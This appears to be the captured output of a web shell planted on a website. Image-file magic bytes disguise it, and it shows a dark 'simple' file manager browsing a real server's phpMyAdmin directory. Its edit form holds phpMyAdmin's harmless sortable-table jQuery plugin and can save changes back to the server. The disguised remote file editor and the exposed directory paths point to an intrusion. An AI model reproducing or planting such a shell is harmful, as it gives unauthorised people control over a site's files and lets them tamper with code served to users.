�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fsrc%2F'>src</a>/</p><hr><h3>✏️ Editing: jquery.sortable-table.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * This file is internal to phpMyAdmin.
 * @license see the main phpMyAdmin license.
 *
 * @fileoverview    A jquery plugin that allows drag&amp;drop sorting in tables.
 *                  Coded because JQuery UI sortable doesn&#039;t support tables. Also it has no animation
 *
 * @name            Sortable Table JQuery plugin
 *
 * @requires        jQuery
 */

/**
 * Options:
 *
 * $(&#039;table&#039;).sortableTable({
 *   ignoreRect: { top, left, width, height } - Relative coordinates on each element. If the user clicks
 *                                              in this area, it is not seen as a drag&amp;drop request. Useful for toolbars etc.
 *   events: {
 *     start: callback function when the user starts dragging
 *     drop: callback function after an element has been dropped
 *   }
 * })
 */

/**
 * Commands:
 *
 * $(&#039;table&#039;).sortableTable(&#039;init&#039;)    - equivalent to $(&#039;table&#039;).sortableTable()
 * $(&#039;table&#039;).sortableTable(&#039;refresh&#039;) - if the table has been changed, refresh correctly assigns all events again
 * $(&#039;table&#039;).sortableTable(&#039;destroy&#039;) - removes all events from the table
 */

/**
 * Setup:
 *
 * Can be applied on any table, there is just one convention.
 * Each cell (&lt;td&gt;) has to contain one and only one element (preferably div or span)
 * which is the actually draggable element.
 */
(function ($) {
    jQuery.fn.sortableTable = function (method) {
        var methods = {
            init: function (options) {
                var tb = new SortableTableInstance(this, options);
                tb.init();
                $(this).data(&#039;sortableTable&#039;, tb);
            },
            refresh: function () {
                $(this).data(&#039;sortableTable&#039;).refresh();
            },
            destroy: function () {
                $(this).data(&#039;sortableTable&#039;).destroy();
            }
        };

        if (methods[method]) {
            return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
        } else if (typeof method === &#039;object&#039; || !method) {
            return methods.init.apply(this, arguments);
        } else {
            $.error(&#039;Method &#039; + method + &#039; does not exist on jQuery.sortableTable&#039;);
        }

        function SortableTableInstance (table, options = {}) {
            var down = false;
            var $draggedEl;
            var oldCell;
            var previewMove;
            var id;

            /* Mouse handlers on the child elements */
            var onMouseUp = function (e) {
                dropAt(e.pageX, e.pageY);
            };

            var onMouseDown = function (e) {
                $draggedEl = $(this).children();
                if ($draggedEl.length === 0) {
                    return;
                }
                if (options.ignoreRect &amp;&amp; insideRect({ x: e.pageX - $draggedEl.offset().left, y: e.pageY - $draggedEl.offset().top }, options.ignoreRect)) {
                    return;
                }

                down = true;
                oldCell = this;

                if (options.events &amp;&amp; options.events.start) {
                    options.events.start(this);
                }

                return false;
            };

            var globalMouseMove = function (e) {
                if (down) {
                    move(e.pageX, e.pageY);

                    if (inside($(oldCell), e.pageX, e.pageY)) {
                        if (previewMove !== null) {
                            moveTo(previewMove);
                            previewMove = null;
                        }
                    } else {
                        $(table).find(&#039;td&#039;).each(function () {
                            if (inside($(this), e.pageX, e.pageY)) {
                                if ($(previewMove).attr(&#039;class&#039;) !== $(this).children().first().attr(&#039;class&#039;)) {
                                    if (previewMove !== null) {
                                        moveTo(previewMove);
                                    }
                                    previewMove = $(this).children().first();
                                    if (previewMove.length &gt; 0) {
                                        moveTo($(previewMove), {
                                            pos: {
                                                top: $(oldCell).offset().top - $(previewMove).parent().offset().top,
                                                left: $(oldCell).offset().left - $(previewMove).parent().offset().left
                                            }
                                        });
                                    }
                                }

                                return false;
                            }
                        });
                    }
                }

                return false;
            };

            var globalMouseOut = function () {
                if (down) {
                    down = false;
                    if (previewMove) {
                        moveTo(previewMove);
                    }
                    moveTo($draggedEl);
                    previewMove = null;
                }
            };

            // Initialize sortable table
            this.init = function () {
                id = 1;
                // Add some required css to each child element in the &lt;td&gt;s
                $(table).find(&#039;td&#039;).children().each(function () {
                    // Remove any old occurrences of our added draggable-num class
                    $(this).attr(&#039;class&#039;, $(this).attr(&#039;class&#039;).replace(/\s*draggable-\d+/g, &#039;&#039;));
                    $(this).addClass(&#039;draggable-&#039; + (id++));
                });

                // Mouse events
                $(table).find(&#039;td&#039;).on(&#039;mouseup&#039;, onMouseUp);
                $(table).find(&#039;td&#039;).on(&#039;mousedown&#039;, onMouseDown);

                $(document).on(&#039;mousemove&#039;, globalMouseMove);
                $(document).on(&#039;mouseleave&#039;, globalMouseOut);
            };

            // Call this when the table has been updated
            this.refresh = function () {
                this.destroy();
                this.init();
            };

            this.destroy = function () {
                // Add some required css to each child element in the &lt;td&gt;s
                $(table).find(&#039;td&#039;).children().each(function () {
                    // Remove any old occurrences of our added draggable-num class
                    $(this).attr(&#039;class&#039;, $(this).attr(&#039;class&#039;).replace(/\s*draggable-\d+/g, &#039;&#039;));
                });

                // Mouse events
                $(table).find(&#039;td&#039;).off(&#039;mouseup&#039;, onMouseUp);
                $(table).find(&#039;td&#039;).off(&#039;mousedown&#039;, onMouseDown);

                $(document).off(&#039;mousemove&#039;, globalMouseMove);
                $(document).off(&#039;mouseleave&#039;, globalMouseOut);
            };

            function switchElement (drag, dropTo) {
                var dragPosDiff = {
                    left: $(drag).children().first().offset().left - $(dropTo).offset().left,
                    top: $(drag).children().first().offset().top - $(dropTo).offset().top
                };

                var dropPosDiff = null;
                if ($(dropTo).children().length &gt; 0) {
                    dropPosDiff = {
                        left: $(dropTo).children().first().offset().left - $(drag).offset().left,
                        top: $(dropTo).children().first().offset().top - $(drag).offset().top
                    };
                }

                /* I love you append(). It moves the DOM Elements so gracefully &lt;3 */
                // Put the element in the way to old place
                $(drag).append($(dropTo).children().first()).children()
                    .stop(true, true)
                    .on(&#039;mouseup&#039;, onMouseUp);

                if (dropPosDiff) {
                    $(drag).append($(dropTo).children().first()).children()
                        .css(&#039;left&#039;, dropPosDiff.left + &#039;px&#039;)
                        .css(&#039;top&#039;, dropPosDiff.top + &#039;px&#039;);
                }

                // Put our dragged element into the space we just freed up
                $(dropTo).append($(drag).children().first()).children()
                    .on(&#039;mouseup&#039;, onMouseUp)
                    .css(&#039;left&#039;, dragPosDiff.left + &#039;px&#039;)
                    .css(&#039;top&#039;, dragPosDiff.top + &#039;px&#039;);

                moveTo($(dropTo).children().first(), { duration: 100 });
                moveTo($(drag).children().first(), { duration: 100 });

                if (options.events &amp;&amp; options.events.drop) {
                    // Drop event. The drag child element is moved into the drop element
                    // and vice versa. So the parameters are switched.

                    // Calculate row and column index
                    const colIdx = $(dropTo).prevAll().length;
                    const rowIdx = $(dropTo).parent().prevAll().length;

                    options.events.drop(drag, dropTo, { col: colIdx, row: rowIdx });
                }
            }

            function move (x, y) {
                $draggedEl.offset({
                    top: Math.min($(document).height(), Math.max(0, y - $draggedEl.height() / 2)),
                    left: Math.min($(document).width(), Math.max(0, x - $draggedEl.width() / 2))
                });
            }

            function inside ($el, x, y) {
                var off = $el.offset();
                return y &gt;= off.top &amp;&amp; x &gt;= off.left &amp;&amp; x &lt; off.left + $el.width() &amp;&amp; y &lt; off.top + $el.height();
            }

            function insideRect (pos, r) {
                return pos.y &gt; r.top &amp;&amp; pos.x &gt; r.left &amp;&amp; pos.y &lt; r.top + r.height &amp;&amp; pos.x &lt; r.left + r.width;
            }

            function dropAt (x, y) {
                if (!down) {
                    return;
                }
                down = false;

                var switched = false;

                $(table).find(&#039;td&#039;).each(function () {
                    if ($(this).children().first().attr(&#039;class&#039;) !== $(oldCell).children().first().attr(&#039;class&#039;) &amp;&amp; inside($(this), x, y)) {
                        switchElement(oldCell, this);
                        switched = true;
                    }
                });

                if (!switched) {
                    if (previewMove) {
                        moveTo(previewMove);
                    }
                    moveTo($draggedEl);
                }

                previewMove = null;
            }

            function moveTo (elem, opts = {}) {
                if (!opts.pos) {
                    opts.pos = { left: 0, top: 0 };
                }
                if (!opts.duration) {
                    opts.duration = 200;
                }

                $(elem).css(&#039;position&#039;, &#039;relative&#039;);
                $(elem).animate({ top: opts.pos.top, left: opts.pos.left }, {
                    duration: opts.duration,
                    complete: function () {
                        if (opts.pos.left === 0 &amp;&amp; opts.pos.top === 0) {
                            $(elem)
                                .css(&#039;position&#039;, &#039;&#039;)
                                .css(&#039;left&#039;, &#039;&#039;)
                                .css(&#039;top&#039;, &#039;&#039;);
                        }
                    }
                });
            }
        }
    };
}(jQuery));
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fsrc'>🔙 Back</a></p>